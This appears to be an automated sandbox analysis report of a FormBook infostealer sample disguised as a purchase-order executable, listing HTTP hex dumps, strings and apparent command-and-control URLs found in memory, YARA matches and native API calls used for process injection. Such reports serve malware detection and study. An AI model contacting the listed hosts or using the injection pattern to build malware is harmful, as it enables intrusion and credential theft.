63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 23 May 2024 13:19:38 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 23 May 2024 13:19:41 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: openfiles.exe, 00000008.00000002.4441849151.000000000653C000.00000004.10000000.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4440950107.000000000484C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://digitoxmarketing.com/a42m/?R0nl4=f64p&vH5=R4g0iLEn
Source: openfiles.exe, 00000008.00000002.4441849151.0000000005BD0000.00000004.10000000.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4440950107.0000000003EE0000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://fedoraproject.org/
Source: openfiles.exe, 00000008.00000002.4441849151.0000000005BD0000.00000004.10000000.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4440950107.0000000003EE0000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://nginx.net/
Source: PO Copy_7854569.exe, 00000000.00000002.1985288574.000000000323D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: openfiles.exe, 00000008.00000002.4441849151.00000000058AC000.00000004.10000000.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4440950107.0000000003BBC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.2677536768.000000003A8FC000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.litespeedtech.com/error-page
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4442575534.0000000005631000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.ratulunabet78.xyz
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4442575534.0000000005631000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.ratulunabet78.xyz/a42m/
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: openfiles.exe, 00000008.00000002.4441849151.0000000006086000.00000004.10000000.00040000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4440950107.0000000004396000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://browsehappy.com/
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B4A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: openfiles.exe, 00000008.00000003.2570140522.0000000007A01000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: openfiles.exe, 00000008.00000002.4443750014.0000000007780000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.hostinger.com/en/articles/1696789-how-to-change-nameservers-at-hostinger
Source: openfiles.exe, 00000008.00000002.4444082178.0000000007AD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4439108659.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4440623367.00000000045A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4440475032.0000000003810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2119855099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2120310446.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4438790270.0000000002810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4442575534.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2122191823.0000000002E50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 6.2.PO Copy_7854569.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.PO Copy_7854569.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4439108659.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4440623367.00000000045A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.4440475032.0000000003810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2119855099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2120310446.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4438790270.0000000002810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4442575534.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2122191823.0000000002E50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
.NET source code contains very large array initializations
Source: PO Copy_7854569.exe, Program.cs Large array initialization: : array initializer size 665116
Source: 8.2.openfiles.exe.4e7cd08.2.raw.unpack, Program.cs Large array initialization: : array initializer size 665116
Contains functionality to call native functions
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0042AE13 NtClose, 6_2_0042AE13
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672B60 NtClose,LdrInitializeThunk, 6_2_01672B60
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672DF0 NtQuerySystemInformation,LdrInitializeThunk, 6_2_01672DF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672C70 NtFreeVirtualMemory,LdrInitializeThunk, 6_2_01672C70
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016735C0 NtCreateMutant,LdrInitializeThunk, 6_2_016735C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01674340 NtSetContextThread, 6_2_01674340
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01674650 NtSuspendThread, 6_2_01674650
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672BE0 NtQueryValueKey, 6_2_01672BE0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672BF0 NtAllocateVirtualMemory, 6_2_01672BF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672BA0 NtEnumerateValueKey, 6_2_01672BA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672B80 NtQueryInformationFile, 6_2_01672B80
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672AF0 NtWriteFile, 6_2_01672AF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672AD0 NtReadFile, 6_2_01672AD0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672AB0 NtWaitForSingleObject, 6_2_01672AB0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672D30 NtUnmapViewOfSection, 6_2_01672D30
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672D00 NtSetInformationFile, 6_2_01672D00
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672D10 NtMapViewOfSection, 6_2_01672D10
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672DD0 NtDelayExecution, 6_2_01672DD0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672DB0 NtEnumerateKey, 6_2_01672DB0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672C60 NtCreateKey, 6_2_01672C60
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672C00 NtQueryInformationProcess, 6_2_01672C00
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672CF0 NtOpenProcess, 6_2_01672CF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672CC0 NtQueryVirtualMemory, 6_2_01672CC0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672CA0 NtQueryInformationToken, 6_2_01672CA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672F60 NtCreateProcessEx, 6_2_01672F60
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672F30 NtCreateSection, 6_2_01672F30
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672FE0 NtCreateFile, 6_2_01672FE0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672FA0 NtQuerySection, 6_2_01672FA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672FB0 NtResumeThread, 6_2_01672FB0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672F90 NtProtectVirtualMemory, 6_2_01672F90
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672E30 NtWriteVirtualMemory, 6_2_01672E30
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672EE0 NtQueueApcThread, 6_2_01672EE0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672EA0 NtAdjustPrivilegesToken, 6_2_01672EA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672E80 NtReadVirtualMemory, 6_2_01672E80
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01673010 NtOpenDirectoryObject, 6_2_01673010
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01673090 NtSetValueKey, 6_2_01673090
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016739B0 NtGetContextThread, 6_2_016739B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01673D70 NtOpenThread, 6_2_01673D70
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01673D10 NtOpenProcessToken, 6_2_01673D10
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C4650 NtSuspendThread,LdrInitializeThunk, 8_2_048C4650
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C4340 NtSetContextThread,LdrInitializeThunk, 8_2_048C4340
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2CA0 NtQueryInformationToken,LdrInitializeThunk, 8_2_048C2CA0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2C60 NtCreateKey,LdrInitializeThunk, 8_2_048C2C60
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2C70 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_048C2C70
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2DD0 NtDelayExecution,LdrInitializeThunk, 8_2_048C2DD0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2DF0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_048C2DF0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2D10 NtMapViewOfSection,LdrInitializeThunk, 8_2_048C2D10
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2D30 NtUnmapViewOfSection,LdrInitializeThunk, 8_2_048C2D30
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2E80 NtReadVirtualMemory,LdrInitializeThunk, 8_2_048C2E80
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2EE0 NtQueueApcThread,LdrInitializeThunk, 8_2_048C2EE0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2FB0 NtResumeThread,LdrInitializeThunk, 8_2_048C2FB0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2FE0 NtCreateFile,LdrInitializeThunk, 8_2_048C2FE0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2F30 NtCreateSection,LdrInitializeThunk, 8_2_048C2F30
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2AD0 NtReadFile,LdrInitializeThunk, 8_2_048C2AD0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2AF0 NtWriteFile,LdrInitializeThunk, 8_2_048C2AF0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2BA0 NtEnumerateValueKey,LdrInitializeThunk, 8_2_048C2BA0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2BE0 NtQueryValueKey,LdrInitializeThunk, 8_2_048C2BE0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_048C2BF0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2B60 NtClose,LdrInitializeThunk, 8_2_048C2B60
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C35C0 NtCreateMutant,LdrInitializeThunk, 8_2_048C35C0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C39B0 NtGetContextThread,LdrInitializeThunk, 8_2_048C39B0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2CC0 NtQueryVirtualMemory, 8_2_048C2CC0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2CF0 NtOpenProcess, 8_2_048C2CF0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2C00 NtQueryInformationProcess, 8_2_048C2C00
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2DB0 NtEnumerateKey, 8_2_048C2DB0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2D00 NtSetInformationFile, 8_2_048C2D00
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2EA0 NtAdjustPrivilegesToken, 8_2_048C2EA0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2E30 NtWriteVirtualMemory, 8_2_048C2E30
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2F90 NtProtectVirtualMemory, 8_2_048C2F90
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2FA0 NtQuerySection, 8_2_048C2FA0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2F60 NtCreateProcessEx, 8_2_048C2F60
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2AB0 NtWaitForSingleObject, 8_2_048C2AB0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C2B80 NtQueryInformationFile, 8_2_048C2B80
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C3090 NtSetValueKey, 8_2_048C3090
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C3010 NtOpenDirectoryObject, 8_2_048C3010
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C3D10 NtOpenProcessToken, 8_2_048C3D10
